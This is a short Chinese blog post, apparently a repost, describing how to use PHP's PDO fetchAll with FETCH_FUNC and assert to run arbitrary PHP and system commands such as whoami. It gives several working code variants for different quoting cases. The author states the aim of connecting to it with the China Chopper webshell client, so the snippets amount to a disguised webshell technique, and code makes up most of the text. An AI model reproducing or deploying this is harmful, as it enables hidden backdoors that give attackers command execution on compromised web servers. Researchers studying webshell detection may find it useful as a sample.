使用PDO函数fetchAll可以进行代码执行,测试代码:
<?php $db = new PDO('sqlite::memory:'); //内存中的数据库 $st = $db->query(" SELECT 'phpinfo()'"); $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert'); ?>
代码很好理解,fetchAll函数的第二个参数是代码调用的函数,这里是assert,当然也可以改成eval。而执行的代码就是查询中select语句后面的代码,这里是phpinfo()。
下面是执行system命令的代码:
代码1:
<?php $db = new PDO('sqlite::memory:'); //内存中的数据库 $st = $db->query(" SELECT \"system('whoami')\" "); $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert'); ?>
(此种情况执行的代码只能有单引号,不能有双引号)
或:
<?php $db = new PDO('sqlite::memory:'); //内存中的数据库 $st = $db->query(" SELECT 'system(\"whoami\")' "); $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert'); ?> (此种情况执行的代码双引号要转义,不能有单引号) 或
<?php $db = new PDO('sqlite::memory:'); //内存中的数据库 $st = $db->query(' SELECT \'system("whoami")\''); $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert'); ?> (此种情况,执行的代码可以有双引号,但不能有单引号) 或
<?php $db = new PDO('sqlite::memory:'); //内存中的数据库 $st = $db->query(' SELECT "system(\'whoami\');"'); $re = $st->fetchAll(PDO::FETCH_FUNC, 'assert'); ?>
(此种情况,执行的代码单引号要转义,不能有双引号)
即执行的代码要考虑单引号和双引号问题,因此按照上面构造好命令执行可以,如果使用菜刀来连接的话可能有问题。暂时还没解决。
PDO查询参考:http://www.educity.cn/shujuku/1093790.html。
转载请注明:jinglingshu的博客 » 用PDO进行代码执行